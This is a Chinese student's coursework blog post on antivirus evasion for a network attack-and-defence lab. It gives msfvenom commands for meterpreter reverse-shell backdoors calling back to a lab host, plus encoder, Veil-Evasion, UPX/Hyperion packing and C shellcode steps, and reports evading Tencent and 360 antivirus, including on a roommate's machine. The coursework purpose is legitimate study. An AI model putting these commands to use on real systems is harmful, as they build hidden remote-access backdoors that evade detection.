20165309 《网络对抗技术》实验三:免杀原理与实践

20165309 《网络对抗技术》实验三:免杀原理与实践



1.基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 基于特征:恶意代码中一般会有一段特征码,如果杀软检测到有程序包含的特征码与它的特征码库的代码相匹配,就会把该程序当作恶意软件。
  • 基于行为:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀软会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

(2)免杀是做什么?

  • 通过一些特殊的手段,让安插的后门不被杀软检测到。

(3)免杀的基本方法有哪些?

  • 加壳、用encode进行编码、基于payload重新编译生成可执行文件、用其他语言进行重写再编译(veil-evasion)、尽量使用反弹式连接、使用隧道技术、加密通讯数据、加入混淆作用的正常功能代码......

(4)开启杀软能绝对防止电脑中恶意代码吗?

  • 做完本次实验就知道了这个问题的答案是不能。

返回目录


2.实验总结与体会

(1)遇到的问题与解决

  • 问题:安装veil-evasion后开机报错:
  • 解决方案:打开虚拟机设置->处理器->检查下虚拟化引擎下面是否有被勾选->取消所有勾选->确定,再打开虚拟机就没事了~

(2)实验感受

本次实验中,对我来说最困难的两件事就是veil的安装和任务二的实现免杀T-T,其他内容按照实验指导都很容易理解和实现。实验告诉了我,杀软并不可信,有些后门程序可以躲过它们的检测并对我们产生威胁,所以安全意识至关重要。(PS.通过实验真心觉得查杀方和攻击方都挺不容易的。。)

返回目录


3.实践过程记录

(0)准备工作

  • Kali的IP:10.0.0.127

  • 安装Veil-Evasion,亲测克隆安装的成功率会大一些:

    sudo apt-get -y install git  //安装git
    
    git clone https://github.com/Veil-Framework/Veil-Evasion.git    //git命令行下载Veil Evasion
    
    mv Veil-Evasion /opt   //把它移动到opt目录下(可选)
    
    cd /opt/Veil-Evasion/  //进入Veil Evasion所在目录
    
    bash setup/setup.sh -s  //启动setup脚本开始安装
    

(1)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

① 正确使用msf编码器
  • 使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 -f exe > 5309_backdoor.exe生成后门程序。(同实验二)
  • 上传至http://www.virscan.org/来检测下有多少杀软可以将其查杀出来。
  • 上传至https://www.virustotal.com/也检测一下。
  • 可以看到,这种方式形成的后门免杀效果很差,所以,我们来尝试一下多次编码:
    • 输入指令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=10.0.0.127 LPORT=5309 -f exe > 5309time10.exe
    • 该指令中,-e选择要用的编码器,-i用于设置编码次数,-b设定payload中需要去除的字符。
  • 再检测一下:
  • 可见,多次编码并没有起到什么显著的效果,不能实现免杀。
② msfvenom生成如jar之类的其他文件
  • msfvenom生成jar文件

    • 指令:msfvenom -p java/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 x> wsj_jar.jar
    • 检测:

  • msfvenom生成python文件

    • 指令:msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 -f raw > wsj_py.py

    • 检测:

  • msfvenom生成php文件

    • 指令:msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 x> wsj_php.php
    • 检测:
③ veil-evasion
  • veil->use evasion进入Evil-Evasion配置界面:

  • 设置反弹连接IP和端口:
  • 输入generate生成文件,设置输出的payload名字:
  • 它的路径是这个:
  • 进行检测:

④ 加壳工具
  • 压缩壳UPX

    • 指令:upx wsjpayload.exe -o wsjpayload.upxed.exe
    • 检测:

  • 加密壳Hyperion

    • 将生成的upx文件拷贝到目录/usr/share/windows-binaries/hyperion/,并进入。
    • 输入指令进行加壳:wine hyperion.exe -v wsj_upxed.exe wsj_upxed_Hyperion.exe
    • 检测:

  • 加壳的免杀效果其实也很不理想,反而可能会因为壳的特征被更多杀软检测到。

⑤ 使用shellcode编程
  • 使用msf生成一段c语言格式的shellcode数组:msfvenom -p windows/meterpreter/reverse_http LHOST=10.0.0.127 LPORT=5309 -f c
  • 代码:
  • 交叉编译:i686-w64-mingw32-g++ 5309.c -o 5309.exe
  • 回连成功:
  • 测试:


(2)通过组合应用各种技术实现恶意代码免杀

  • 采用加壳+迭代+C语言调用bloxor编码的shellcode的方式免杀成功并可回连:
    • 生成Shellcode:msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=10.0.0.127 LPORT=5309 -f c
    • 迭代,加压缩壳;
    • 将加入Shellcode的c语言程序在vc下编译;
    • 实现回连:
    • 免杀效果:(Win7 x64+腾讯电脑管家13.3.20237.212)

(3) 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • Win7 x64 + 360安全卫士11.5.0.2002
  • 回连成功:
  • 在舍友电脑上实现免杀:

返回目录

posted @ 2019-03-31 22:14  20165309吴思佳  阅读(149)  评论(0编辑  收藏